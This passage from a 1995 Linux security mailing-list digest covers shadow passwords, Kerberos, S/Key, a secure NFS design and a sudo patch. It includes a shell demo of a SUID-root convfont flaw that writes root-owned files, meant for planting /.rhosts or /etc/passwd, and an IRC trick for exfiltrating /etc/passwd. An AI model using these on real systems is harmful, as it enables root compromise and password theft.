1/3 the size it > currently is. I think I might volunteer to help with this. I have spent quite some time reading the source of shadow suite and fixing some bugs... (These fixes are not released yet, please be patient.) > Does anyone know of weaknesses in the shadow package? Shortcomings? It > would be a chance to correct them, if any -- and have a freely > redistributable shadow package. One bug worth mentioning: "login -h hostname" works for non-root! I'm not sure if this is a hole, but it is not possible with the standard non-shadow login. This will change your utmp entry - it looks like you are logged in from a host you specified. Just a thought: to stop the whole mess with separate shadow/non-shadow binaries, we could do this: make them all shadow-aware, but if there is no shadow password, use the non-shadow one instead. Something like this: pw = getpwnam(username); if (pw) { struct spwd *sp = getspnam(username); if (sp) { pw->pw_passwd = sp->sp_pwdp; if (isexpired(pw, sp)) { /* do something about this... */ } } } Then the same binaries (ftpd, pop3d, rexecd, xdm, xlock, ...) could be used with non-shadow and shadow passwords. What do you think about that? Sorry if this is not the correct place for such detailed discussion - maybe we should create a new mailing list for this? Regards, - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: "Joseph S. D. Yao" Date: Tue, 7 Mar 1995 11:44:52 -0500 Subject: Re: Secure setup for file transfer I'm sure folks will correct me if I'm wrong, but aren't BIOS values just stamped into the BIOS chips identically per run? So, the idea of a function based on values read from the BIOS and the non-volatile memory would very likely return identical values from identical machines. This doesn't give us a very secure ID. If they're all on a net, one way that's been used is to use the hardware ethernet address [MAC?] on the ethernet board. I don't know whether the other network types have unique hardware addresses on board. If the network type [ISDN?] doesn't use boards with unique hardware identifiers, then IMHO what needs to be done is manually provide each system with a unique, hard-to-guess identifier. This has the advantage that hardware changes to the system don't require re-identifying the system. It has the disadvantage that the identifier has to be sent to the user, and then stored by that user, which increases the likelihood of interception. How does Kerberos do this? If I remember right, it uses user identification, not machine identification. I suppose that putting Kerberos on the MS-Windows machines is not an option. [;-)] Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "Brian E. Gallew" Date: Tue, 7 Mar 1995 08:35:47 -0500 (EST) Subject: Re: Secure setup for file transfer If you don't mind the effort of setting things up, public-key encryption isn't a bad thing, and PGP has the necessary hooks. Of course, you can't export your distribution setup out of the country, but I don't know of any limitation on distribution of encrypted materials (e.g. the public key you'll embed in the client software). ===================================================================== | It's nice to be important, but it's *important* to suck up to the | | sysadmin -- Me | ===================================================================== | Finger [email protected] for my public key. | ===================================================================== ------------------------------ From: [email protected] (Olaf Kirch) Date: Tue, 7 Mar 1995 19:21:37 +0100 (MET) Subject: Shadow discussions Hello all, I have the feeling this discussion about shadow passwords is not leading anywhere useful at the moment. As Rik explained, there are good reasons why the shadow suite has been removed from most Linux distributions, and I would expect things to stay that way. There are better alternatives; proactive checking being but one. Another is Kerberos. Please let's stop this discussion, at least as far as it's only concerned with why shadow passwords are better than plain passwd. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: [email protected] (Bruce Thompson) Date: Tue, 7 Mar 1995 09:47:26 -0800 Subject: Re: Shadow Passwords? >Date: Mon, 6 Mar 1995 19:59:16 -0500 >From: Rik Faith > >In general the "shadow password" technique is set up as follows: For all >entries in the /etc/passwd file, the encrypted passwords are moved to >another file, such as /etc/shadow. While /etc/passwd needs to be readable >by the anyone on the system, /etc/shadow needs only to be readable by a >restricted group, perhaps only the superuser. This is supposed to keep >adversaries from obtaining the encrypted password list and running a >dictionary attack against it. > >This idea of "information hiding" is one of many techniques that broadly >fit under the category of "security through obscurity." Based on people >who I have talked with in the Linux community, there are two main opinions >about "security through obscurity": 1) it might help and it can't hurt, so >let's use it; and 2) it actually can hurt because it provides a false sense >of security and should not be used. > [ I've cut out a whole section on why a proactive password program is a good thing. My comments are _not_ directed towards that section, which I whole-heartedly agree with. ] Though I don't necessarily endorse the particular implementation of shadow passwords under discussion, I must disagree with some of the analysis above. The whole point of shadow passwords are to prevent _unprivileged_ access to the encrypted passwords. If an attacker has root access, your system is already compromised. It no longer matters whether the attacker can see the encrypted passwords. If an unprivileged attacker cannot read the encrypted passwords, then a dictionary attack cannot be attempted. Preventing a dictionary attack closes one of the biggest holes in password security. This should not be confused with so-called "security by obscurity". In common usage, "security by obscurity" relates to the practice of not publishing details of how to exploit weaknesses in various system. For example, the infamous DEBUG bug in Sendmail of a few years ago could be exploited by _unprivileged_ users to gain root access to a system. Relying on the fact that few people knew how to exploit the bug is "security by obscurity". The information hiding that a shadow suite provides is, most emphaticly not. In general, "security by obscurity" is a smokescreen, no substance. A shadow suite however does indeed provide some real protection. Cheers, Bruce. - ----------------------------------------------------------------------------- Bruce Thompson | "Never put off until tomorrow what you can PIE Developer Information Group | comfortably put off til next week" Apple Computer Inc. | -- Unknown 408 974 8018 | [email protected] | AppleLink: bthompson | ------------------------------ From: [email protected] (Rafal Maszkowski) Date: Tue, 7 Mar 1995 19:58:02 +0100 (MET) Subject: Re: Sh*dow Passwords? Marek Michalkiewicz writes: > > Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > > whole damned thing, and tell John to shove it. The current shadow package > > is a monster, there is no reason it can't be 1/2 to 1/3 the size it > > currently is. > I think I might volunteer to help with this. I have spent quite some time > reading the source of shadow suite and fixing some bugs... (These fixes > are not released yet, please be patient.) Wonderful! Can you write it without using non-GPL code? > Just a thought: to stop the whole mess with separate shadow/non-shadow > binaries, we could do this: make them all shadow-aware, but if there is > no shadow password, use the non-shadow one instead. Something like this: Probably better way is to do the same in libraries. Isn't it there already? R. - -- Rafal Maszkowski [email protected] http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec ------------------------------ End of linux-security-digest V1 #3 ********************************** linux-security-digest/1995/v01.n004100664 1767 1767 50752 5727355723 16072 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #4 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 8 March 1995 Volume 01 : Number 004 Re: Secure setup for file transfer Re: Sh*dow Passwords? Anyone get Sudo working w/ Shadow? Re: Secure setup for file transfer Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Shadow Passwords? Re: Secure setup for file transfer Re: Shadow discussions Re: Shadow discussions Re: Shadow discussions ... don't forget skey Safe NFS outline Re: Anyone get Sudo working w/ Shadow? ---------------------------------------------------------------------- From: [email protected] (Alan Cox) Date: Tue, 7 Mar 1995 18:13:36 +0000 (GMT) Subject: Re: Secure setup for file transfer > How does Kerberos do this? If I remember right, it uses user > identification, not machine identification. I suppose that putting > Kerberos on the MS-Windows machines is not an option. [;-)] PC/TCP seems to support kerberos Alan ------------------------------ From: [email protected] Date: Tue, 7 Mar 1995 14:29:39 -0600 (CST) Subject: Re: Sh*dow Passwords? > > > >> > >> Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > >> whole damned thing, and tell John to shove it. The current shadow package > >> is a monster, there is no reason it can't be 1/2 to 1/3 the size it > >> currently is. > > As someone who is a programmer and has not even looked at the shadow code in > over a year (and never seriously studied it at all) -- I'd volunteer to work on > the programming side of this. > > Anyone want to map out ideas of how to do this? > I'd also be interested in helping out on this, too. Thanks, Dan - -- - --------------------------------------------------------------------------- Dan Crowson | [email protected] CMS Communications, Inc. | [email protected] 715 Goddard Ave | [email protected] Chesterfield MO 63005 | ^-- mail me here 1st - --------------------------------------------------------------------------- ------------------------------ From: Rob Hardy Date: Tue, 7 Mar 1995 12:17:05 -0500 (EST) Subject: Anyone get Sudo working w/ Shadow? [Mod: Please see note at end--it's from an e-mail between us and clarifies the question that he's asking a bit better. (Sounds like sloppy code somewhere to me.) --Jeff.] I've been trying for awhile to get sudo to work with shadow passwords. The package says it already supports shadow but it doesn't work. When I recompile the sudo I get a warning on the line where the actual checking of the password occurs. That's line 243 of check.c. The warning is something like attempting to set a pointer to an integer without a cast. Has anyone got this working? Can someone fix this problem? I'd be glad to mail anyone check.c if anyone can spare 2 minutes to check it out. - -- - ----------------------------------------------------------------------- Robert Hardy Home:(613)226-2326 CCS Computer Consultant 2nd Year Systems Engineering @ Carleton University, Ottawa, Canada Email: (robert@doe|robert@aurora|aa617@freenet)+.carleton.ca "Linux the Choice of a GNU Generation!" - ----------------------------------------------------------------------- [Some additional information] [T]he compile doesn't fail. [...] [T]he warning is on the line where the comparision occurs. Since sudo fails to do the comparison properly w/ shadow it seem to be a likely place for the problem to be. I'd still like to know whether anyone has gotten sudo working with shadow password which was really the whole point of posting it to the security list. ------------------------------ From: [email protected] Date: Tue, 7 Mar 1995 16:55:49 -0500 Subject: Re: Secure setup for file transfer > > How does Kerberos do this? If I remember right, it uses user > > identification, not machine identification. I suppose that putting > > Kerberos on the MS-Windows machines is not an option. [;-)] > > PC/TCP seems to support kerberos Actually, Kerberos uses entity identification, where an entity can be a user or a service. For example, the pop service on machine po6.mit.edu has the kerberos name [email protected]. When I go to get my mail from this service, I have to authenticate myself to this service, but I can also request that the service authenticate back to me (mutual authentication). You can read about this from the Kerberos docs in the directory ftp://athena-dist.mit.edu/pub/ATHENA/kerberos/doc - -derek - -- Derek Atkins, SB '93 MIT EE, G MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) Home page: http://www.mit.edu:8001/people/warlord/home_page.html [email protected] PP-ASEL N1NWH PGP key available ------------------------------ From: "Joseph S. D. Yao" Date: Tue, 7 Mar 1995 18:16:43 -0500 Subject: Re: Sh*dow Passwords? Marek Michalkiewicz wrote: > > . Rewrite the shadow suite from scratch, ... > I think I might volunteer to help with this. I have spent quite some time > reading the source of shadow suite and fixing some bugs... (These fixes > are not released yet, please be patient.) Problem: if you have worked extensively with the source code, and it is under legal protection, then it is possible for the author of the original code to claim that your code is a "derivative work." This is the argument AT&T was using against Berkeley, which is why some of us walked around for a while wearing buttons that said [something like] "My mind has been contaminated." (My button's off in a box somewhere.) > Just a thought: to stop the whole mess with separate shadow/non-shadow > binaries, we could do this: make them all shadow-aware, but if there is > no shadow password, use the non-shadow one instead. Something like this: It should've been done that way to begin with, in the shadow routines. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "Joseph S. D. Yao" Date: Tue, 7 Mar 1995 17:59:10 -0500 Subject: Re: Secure setup for file transfer > > I'm sure folks will correct me if I'm wrong, but aren't BIOS values > > just stamped into the BIOS chips identically per run? So, the idea of > > a function based on values read from the BIOS and the non-volatile > > memory would very likely return identical values from identical > > machines. This doesn't give us a very secure ID. > > Yes. That is why I use the disk parametes. They DO change. If two machines are identical, they'll have identical disks with identical parameters. Or am I missing something? Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: lilo Date: Tue, 7 Mar 1995 08:25:58 -0600 (CST) Subject: Re: Shadow Passwords? On Tue, 7 Mar 1995, Piers Cawley wrote: > On Mon, 6 Mar 1995, Daniel Hollis wrote: > > Indeed. We run an ISP and have around 250 accounts. It doesn't take much > > for an outsider to coerce one of your newbie users to send them a copy of > > /etc/passwd by telling them to "/dcc send dork /etc/passwd" from IRC. > > Consider running as a slip/ppp only site... We don't give our users shell > accounts at all... This is a good idea, but it's sort of a separate issue.... lilo - -- [Mod: I agree completely. Let's not head down the path of what sort of site to run. Further posts in this vein will not be approved! --Jeff.] ------------------------------ From: [email protected] (Panzer Boy) Date: 7 Mar 1995 17:55:54 -0500 Subject: Re: Secure setup for file transfer >From dhp.com!dhp.com!not-for-mail Tue Mar 7 17:54:54 1995 Path: dhp.com!dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: Secure setup for file transfer Date: 7 Mar 1995 17:51:34 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 18 Message-ID: <[email protected]> References: <[email protected]> NNTP-Posting-Host: localhost X-Newsreader: TIN [version 1.2 PL2] Joseph S. D. Yao ([email protected]) wrote: : If they're all on a net, one way that's been used is to use the : hardware ethernet address [MAC?] on the ethernet board. I don't know : whether the other network types have unique hardware addresses on : board. MAC addresses are easy to change on 99% of the boards out there. HOSTID's are easy to change on Suns, as there are a few programs to even automate this task for you. How about we stick to linux security on this list. For starters people should read bugtraq also. OB linux-security, SVGAlib with convfont being SUID root. Allows you to write any files as root. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Daniel Hollis) Date: Tue, 7 Mar 1995 21:01:13 -0800 (PST) Subject: Re: Shadow discussions [mod: people who wonder why Linux has no shadow support should take a look at linux-gcc. There's a very educating discussion going on. --okir] > I have the feeling this discussion about shadow passwords is not > leading anywhere useful at the moment. As Rik explained, there are > good reasons why the shadow suite has been removed from most Linux > distributions, and I would expect things to stay that way. There are > better alternatives; proactive checking being but one. Another is > Kerberos. > > Please let's stop this discussion, at least as far as it's only > concerned with why shadow passwords are better than plain passwd. Olaf, just to get this discussion out of your hair, I will start up a gpl-shadow mailing list. Anyone who wants to join the mailing list just send me email and I will add you to the list. That way we can discuss the possibility of doing a gpl shadow suite without bothering Olaf ;) - -Dan - ------------------------------------------------------------------------------ Dan Hollis | Seiyuu Daisuki! | mokkori.jcic.org servers: JCIC System Administrator | Orikasa Ai | http:LPA-HOWTO (Linux page) http://www.jcic.org/ | Yokoyama Chisa | http:SM.html (SM Records page) [email protected] | (~(^_^)~) | Ztalk (Internet voice mail) - ------------------------------------------------------------------------------ ------------------------------ From: Ed Beaumont Date: Wed, 8 Mar 1995 14:38:18 +0000 (GMT) Subject: Re: Shadow discussions > I have the feeling this discussion about shadow passwords is not > leading anywhere useful at the moment. As Rik explained, there are > good reasons why the shadow suite has been removed from most Linux > distributions, and I would expect things to stay that way. There are > better alternatives; proactive checking being but one. Another is > Kerberos. I agree with this entirely, and politely request that anymore discussion to be directed to comp.os.linux.admin. I am sorry I responded to the initial post, I didnt think it would last this long. Appologies to all. - -- Morlok (Ed Beaumont) ----------------- UUCP Coordinator - APANA Brisbane "The Eagle may soar, but a weasel | ([email protected]) never gets sucked into a jet engine" | System Operator of Abyss APANA Site Simon & Simon + ([email protected]) ------------------------------ From: Tom Dunigan 576-2522 Date: Wed, 8 Mar 1995 07:39:23 -0500 Subject: Re: Shadow discussions ... don't forget skey >I have the feeling this discussion about shadow passwords is not >leading anywhere useful at the moment. As Rik explained, there are >good reasons why the shadow suite has been removed from most Linux >distributions, and I would expect things to stay that way. There are >better alternatives; proactive checking being but one. Another is >Kerberos. Strong passwords, shadowed, and kerberized are still vulnerable to sniffer attacks. You should consider one-time passwords if you have users logging in to your linux boxes from remote sites (e.g., universities). Hackers have elegant sniffer programs that capture clear text passwords off LANs. We use the skey (soft key, one-time passwords) on our linux boxes and other Unix boxes. Various mods for skey have appeared on sunsite. We just patched login.c and wu.ftpd.c and replaced su with keysu to implement skey on linux. skey doesn't require any hardware or a "card". skey is part of logdaemon package and uses tcpwrappers, see ftp://ftp.win.tue.nl/pub/security original skey stuff was developed at Bellcore, see ftp://ftp.bellcore.com/pub/nmh and see the postscript paper there: ftp://ftp.bellcore.com/pub/nmh/docs/ISOC.symp.ps and RFC 1760 ftp://ds.internic.net/rfc/rfc1760.txt Tom ------------------------------ From: [email protected] (Thomas Koenig) Date: Wed, 8 Mar 1995 15:49:58 +0100 (MET) Subject: Safe NFS outline Here's an outline for an nfsd I dreamt up together with Mike pall ([email protected]) some time ago. It's compatible with current servers (or so I think) and shouldn't be too hard to implement. Comments, anybody? Thomas The current state of NFS authentication is fairly bad. Once a client has obtained a valid NFS handle by whatever means (guessing, net spoofing, whatever) it can work its way from there. Because a NFS server is stateless, it's not supposed to keep around records of who mounts what. Current clients use AUTH_UNIX for their credentials (there are actually some NFS implementations around with trust the hostname in there... I have no idea why they should do that) with a null verifier. Trying to get that fixed is useless. However, there is enough room in the file handle itself for verification data, which can be done with a secure hash like MD5. The scheme I dreamt up with Mike Pall is the following: A mount request comes in for client foo, which wants to mount directory /bar. The mount daemon checks that this is indeed permitted and generates a record (called 'clientpoint') for the mount request. This contains the following information: - - Major and minor device number of the mountpoint - - Inode number of the mountpoint - - IP address of the client - - A secret key (64 bits or so) generated from pseudorandom data, such as timer resolution at the microsecond level, networking statistics, and whatever. This changes from mount request to mount request. - - Flags, such as readonly status, wether the entry is actually valid, and the like. This clientpoint entry is indexed, and should be stored on disk (probably mmaped() by both mountd and nfsd). The mountd then generates a NFS file handle with the following information: - - Major and minor inode numbers (4 bytes each) - - Inode number of the mountpoint (4 bytes) - - Clientindex number (4 bytes) - - Autentication data, which is generated by a MD5 hash over all the clientpoint data plus the data in the file handle. This includes the secret key. If a NFS request comes in to the nfsd, the first thing it does is to get is the clientpoint for the request. If it doesn't, probably somebody is playing guessing games :-) Assuming it exists, the next thing to compare would be wether the IP address of the sender and the one for the clientpoint. If it doesn't, chances are somebody is trying to feed a NFS handle to us which is valid for another machine (network spoofing?). After this, a MD5 checksum (over the same clientpoint entry and the file handle the client just sent us). If these don't match, it might be that a client, who may be able to mount some files legitimately is trying to get a file handle for my root filesystem. Before doing the actual operation, the kernel nfsd would have set the fsuid and done the (kernel - equivalent) of a chroot() call. No way to break out, then ;-) What else? Well, the number of clientpoints has to be kept fairly low. If a client wants to remount the same filesystem for which it hadn't done an unmount, chances are it crashed in the meantime and doesn't remember about the old handles, anyway. Other than that, I see no legitimate reason for a single client machine to mount the same directory more than, let's say, two times (to be made an option). It will make a nice entry in the BUGS section, though ;-) When /etc/exports is read anew, mountd should amble along the clientpoints file and throw out anything that's no longer permitted. Performance: I tried MD5 on my 486/33 and got about 200000 rounds/second. This would be good enough, I think. Keeping state around: Well, some is inevitable, if you want an approximation of a secure NFS. You have to keep track of who's mounting what. ------------------------------ From: Marek Michalkiewicz Date: Wed, 8 Mar 1995 12:47:31 +0100 (MEZ) Subject: Re: Anyone get Sudo working w/ Shadow? [Mod: The shadow discussion is now officially (as official as we can make it ;-) dead. However, I'm approving this because it contains real information (not just opinions, ideas, or guessing) in the form of a patch to something. My initial reaction to this post was that it (the patch) should have been directed back to the originator of the bug question, rather than this list, but there may be others that first heard of the problem on this list that may also be interested in fixing this problem (or testing this fix); thus the patch may be useful to more than just that one person. Since a new GPL/shadow list has been created, no more shadow discussions will take place here, nor will followups to this post be approved. Hash it out in another list or in private e-mail please. --Jeff] > I've been trying for awhile to get sudo to work with shadow passwords. > The package says it already supports shadow but it doesn't work. After looking at the source (version 1.2 from slackware-source, I don't know if this is the latest version) I found that the shadow support is bogus... Below is a patch (untested - it compiles, but I haven't tried yet if it works). Hope this helps. - -- Marek Michalkiewicz [email protected] || [email protected] diff -ur old/sudo-1.2/Makefile sudo-1.2/Makefile - --- old/sudo-1.2/Makefile Sun Mar 20 20:45:40 1994 +++ sudo-1.2/Makefile Wed Mar 8 12:43:41 1995 @@ -88,7 +88,7 @@ # # define this for shadow passwords - - SHADOW = + SHADOW = -DSHADOW_PWD CC = gcc LEX = flex YACC = bison -y @@ -108,7 +108,7 @@ MANSECTION = 8 MANDIR = /usr/man/man${MANSECTION} PROG = sudo.bin - - LIBS = -lfl + LIBS = -lfl -lshadow SUNOS4 = -Bstatic LINUX = diff -ur old/sudo-1.2/check.c sudo-1.2/check.c - --- old/sudo-1.2/check.c Sun Dec 5 23:57:31 1993 +++ sudo-1.2/check.c Wed Mar 8 12:41:46 1995 @@ -48,6 +48,11 @@ #include #endif +#ifdef SHADOW_PWD +#include +#define crypt pw_encrypt +#endif + char *getpass(); static int check_timestamp(); @@ -79,7 +84,7 @@ } rtn = check_timestamp(); #ifdef LINUX - -if ( setreuid (uid) ) { /* don't want to be root longer than necessary */ +if ( setreuid (uid, -1) ) { /* don't want to be root longer than necessary */ #else if ( setruid (uid) ) { /* don't want to be root longer than necessary */ #endif @@ -96,7 +101,7 @@ } update_timestamp(); #ifdef LINUX - -if ( setreuid (uid) ) { /* don't want to be root longer than necessary */ +if ( setreuid (uid, -1) ) { /* don't want to be root longer than necessary */ #else if ( setruid (uid) ) { /* don't want to be root longer than necessary */ #endif @@ -217,14 +222,14 @@ static void check_passwd() { - -#ifndef SHADOW_PWD char *crypt(); - -#endif struct passwd *pw_ent; char *encrypted; /* this comes from /etc/passwd */ char *pass; /* this is what gets entered */ register int counter=TRIES_FOR_PASSWORD; - - +#ifdef SHADOW_PWD +struct spwd *sp; +#endif if ( (pw_ent = getpwuid( uid )) == NULL ) { sprintf ( user, "%u", uid ); @@ -232,7 +237,11 @@ inform_user ( GLOBAL_NO_PW_ENT ); exit (1); } - - +#ifdef SHADOW_PWD +sp = getspnam(pw_ent->pw_name); +if (sp) + pw_ent->pw_passwd = sp->sp_pwdp; +#endif encrypted = pw_ent -> pw_passwd; /* you get TRIES_FOR_PASSWORD times to guess your password */ ------------------------------ End of linux-security-digest V1 #4 ********************************** linux-security-digest/1995/v01.n005100664 1767 1767 47221 5727644502 16064 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #5 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 9 March 1995 Volume 01 : Number 005 Re: Safe NFS outline Re: NFS server Re: Safe NFS outline Re: Safe NFS outline Re: Shadow discussions ... don't forget skey Re: Secure setup for file transfer Quick info. pointers for shadow stuff. Re: Secure setup for file transfer Re: Secure setup for file transfer Re: Shadow discussions ... don't forget skey Re: Shadow discussions ... don't forget skey Re: Secure setup for file transfer Re: Safe NFS outline tty permissions Re: Shadow discussions ... don't forget skey SvgaLib (was Re: Secure setup for file transfert) Re: Shadow discussions ... don't forget skey ---------------------------------------------------------------------- From: [email protected] (Raul Miller) Date: Wed, 8 Mar 95 11:28 EST Subject: Re: Safe NFS outline Hmm... (1) say something about the life time of a pass-key (e.g. up to an hour, or the drop of a hat -- whichever comes first). With a modicum of network security, you should only need pass-keys for the mount points. You'll need a challenge/response mechanism in the secure nfs clients anyways.. (2) make the maximum number of simultaneous pass-keys for file system configurable by the nfs administrator. That's more of a local policy issue than a communications standard. - -- Raul Deluth Miller ------------------------------ From: Elias Levy Date: Tue, 7 Mar 1995 16:09:55 -0800 (PST) Subject: Re: NFS server Trying nfsbug on one of my linux nfs boxes reports the UID bug. You can get nfsbug and other tools at http://underground.org/tools/unix/ On Tue, 7 Mar 1995, Thomas Koenig wrote: > > I'll see if I can put together a patch tonight for this and upload a > > new server to some site. I'll also put in the root_squash fix posted > > recently. While we're at it, are there any other known holes? > > Known holes are, or have been: > > [Mod: Further quoting deleted. --Jeff.] [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ From: [email protected] (Alan Cox) Date: Wed, 8 Mar 1995 17:47:00 +0000 (GMT) Subject: Re: Safe NFS outline > Comments, anybody? Yes. Read the IP v4 ESP and AH internet drafts (on ds.internic.net) along with the MD5 draft you'll find what you have described. > Current clients use AUTH_UNIX for their credentials (there are actually > some NFS implementations around with trust the hostname in there... I > have no idea why they should do that) with a null verifier. Trying to > get that fixed is useless. And those that use secure RPC > Performance: I tried MD5 on my 486/33 and got about 200000 > rounds/second. This would be good enough, I think. I don't know what rounds equates to. With a few tunings the generic MD5 code gives me about 1.2Mbytes/second. > Keeping state around: Well, some is inevitable, if you want an > approximation of a secure NFS. You have to keep track of who's > mounting what. Yes. Be aware of two things: The RFC MD5 implementation can't be mixed with GNU code (but can be redone - and an assembler one ought to touch 2Mb/second) and in the USA packet authentication (like this) is subject to a totally bogus Novell software patent, so you'd have to do a no US import license ( the GPL permits this in these cases). Alan ------------------------------ From: [email protected] (Thomas Koenig) Date: Wed, 8 Mar 1995 18:31:16 +0100 (MET) Subject: Re: Safe NFS outline > > Hmm... > > (1) say something about the life time of a pass-key (e.g. up to an > hour, or the drop of a hat -- whichever comes first). With a modicum > of network security, you should only need pass-keys for the mount > points. You'll need a challenge/response mechanism in the secure nfs > clients anyways.. I think this is incompatible with existing client implementations. NFS is supposed to be stateless even across a server crash, and a handle is supposed to stay valid forever. The proposal I presented is specifically aimed at compatibility with existing clients (who only need to worry about the NFS file handle, which is opaque to them). Redesigning NFS is a bigger task, which Sun may already have done with revision 3 of the protocol (which I haven't read). > (2) make the maximum number of simultaneous pass-keys for file system > configurable by the nfs administrator. That's more of a local policy > issue than a communications standard. Yes, this makes sense. Thomas ------------------------------ From: "Theodore Ts'o" Date: Wed, 8 Mar 1995 15:15:37 +0500 Subject: Re: Shadow discussions ... don't forget skey Date: Wed, 8 Mar 1995 07:39:23 -0500 From: Tom Dunigan 576-2522 Strong passwords, shadowed, and kerberized are still vulnerable ^^^^^^^^^^ to sniffer attacks. You should consider one-time passwords if you have users logging in to your linux boxes from remote sites (e.g., universities). Hackers have elegant sniffer programs that capture clear text passwords off LANs. You obviously have no idea how Kerberos works. Kerberos is designed such that you never need to send clear text passwords across the network. Instead, you have a central authentication server which you must keep physically (and logically) secure. When you login to a workstation, the Kerberos server sends you your Kerberos credentials (which are cryptographic objects), encrypted in your login password. These credentials are then decrypted by your workstation if you can supply your kinit (or login) program with your correct login password. These credentials can then be used by a Kerberized telnet (or rlogin) client to securely login to a remote machine without ever needing to type your password over the network. - Ted ------------------------------ From: Mr Martin J Hargreaves Date: Wed, 8 Mar 1995 23:33:14 +0000 (GMT) Subject: Re: Secure setup for file transfer On 7 Mar 1995, Panzer Boy wrote: > > How about we stick to linux security on this list. For starters people > should read bugtraq also. > > OB linux-security, SVGAlib with convfont being SUID root. Allows you to > write any files as root. Is this list going to be full disclosue like bugtraq? If so can we have details? Otherwise do you have a fix (other than only running SVGAlib programs as root). M. - ---------------------------------------------------------------- | Martin Hargreaves, [email protected]| | Undergraduate Computational Chemist | | WWW Server Admin http://www.chem.surrey.ac.uk| - ---------------------------------------------------------------- - -- [Mod: We would prefer to focus on security enhancement and "hole" avoidance, detection, and fixes, rather than methods of exploitation--unless discussing such methods is necessary for working out a fix. However, we aren't trying to fool ourselves into thinking that not discussing or divulging exploitation methods here will result in the methods not "getting out" (usually they already are), so posts that disclose them will not be disapproved for containing such information. We'd just rather not use a lot of bandwidth *discussing* this aspect of security as it could start to drown out other, IMHO more worthwhile, discussions. Discussing and disclosing are two different things. --Jeff.] ------------------------------ From: Jeff Uphoff Date: Wed, 8 Mar 1995 19:54:13 -0500 Subject: Quick info. pointers for shadow stuff. Quick consolidation of a couple of info. pointers that were posted to the moderators as the shadow discussion was closing down (no followups approved!): >From: [email protected] (Panzer Boy) And if you want skey incorporated with shadow stuff: ftp://ftp.dhp.com/pub/crypto/skey/shadow-3.3.2-skey.tar.gz skey-md4.tar.gz >From: Thomas Briggs Sudo : In fact, I've got a couple of students working on it right now, and their prognosis is good. I'll uploaded any patches to the source code to this list if you are interested, or I'll put them in ftp://cutter.ship.edu (I'm not the author, but I am using Shadow Passwords) [Mod: No longer considered on-topic for this list, but the new GPL/shadow list will very likely be interested.] - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] Date: Wed, 8 Mar 95 9:13:39 PST Subject: Re: Secure setup for file transfer My recollection was that the serial #'s for the BIOS chipset was readable, given that you know the address (& command?)?. Or has this gone by the wayside in the last few years? Tox *********************************************** * Tox Gunn [email protected] * * "Your sanity is not my responsibility!" * *********************************************** ------------------------------ From: [email protected] (Panzer Boy) Date: 9 Mar 1995 00:55:03 -0500 Subject: Re: Secure setup for file transfer Mr Martin J Hargreaves ([email protected]) wrote: : On 7 Mar 1995, Panzer Boy wrote: : > OB linux-security, SVGAlib with convfont being SUID root. Allows you to : > write any files as root. : Is this list going to be full disclosue like bugtraq? If so can : we have details? Otherwise do you have a fix (other than only running : SVGAlib programs as root). I'm not sure about full disclosure, as I don't run this list, nor do I think that we should discuss the merits of non vs. full, as this will make more posts than the shadow discussion. If you have other security problems like this, please post. convfont text-file /anyfile Here: > echo >/tmp/file "Hello" > ls -l /tmp/file - -rw------- 1 panzer users 6 Mar 9 00:02 /tmp/file > ls -l /usr/local/bin/convfont - -rwsr-xr-x 1 root users 2272 May 26 1994 /usr/local/bin/convfont* > /usr/local/bin/convfont /tmp/file 6 /tmp/new-root-file Converting 1 characters Writing font file. > ls -l /tmp/new-root-file - -rw------- 1 root users 8192 Mar 9 00:03 /tmp/new-root-file /tmp/new-root-file is "Hello" followed by a lot of space. Instant /.rhosts, /etc/passwd(shadow), hosts, inetd.conf, anything. If you are concerned about security start with the simple standby: find / -perm -4000 -print This will search your entire drive for any SUID programs. Make sure that all of these need to be SUID. Have SVGA stuff, make a "lusers" group for "Local Users" and chmod 4750 those files. People who telnet in have no reason to run svgalib progs, change your x-servers to the same permission, again, non-local users should not be starting X on your machine. Look in /etc/inetd.conf. Make sure you are only allowing access to things you want to give out access to. If in doubt, comment it out, and see if you need it, you can always put it back. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Jeremy Fitzhardinge) Date: Thu, 9 Mar 1995 19:05:37 +1000 (EST) Subject: Re: Shadow discussions ... don't forget skey Theodore T'so: > Date: Wed, 8 Mar 1995 07:39:23 -0500 > From: Tom Dunigan 576-2522 > > Strong passwords, shadowed, and kerberized are still vulnerable > ^^^^^^^^^^ > to sniffer attacks. You should consider one-time passwords >[...] > You obviously have no idea how Kerberos works. Kerberos is designed > such that you never need to send clear text passwords across the > network. This is true in theory, but there are situations where plaintext passwords will still be passed over the network. For example, we have X terminals on every desk which can't run anything locally. Even if kerberos were installed there'd be passwords going between the terminal and the CPU host. Of course, this is a failure in implementation rather than in Kerberos, since it must be installed to work end-to-end. I think the point is that onetime password systems like skey are end to end, regardless of the underlying connections. J ------------------------------ From: [email protected] (Alan Cox) Date: Thu, 9 Mar 1995 14:08:55 +0000 (GMT) Subject: Re: Shadow discussions ... don't forget skey [mod: quoting trimmed --okir] > These credentials can then be used by a Kerberized telnet (or rlogin) > client to securely login to a remote machine without ever needing 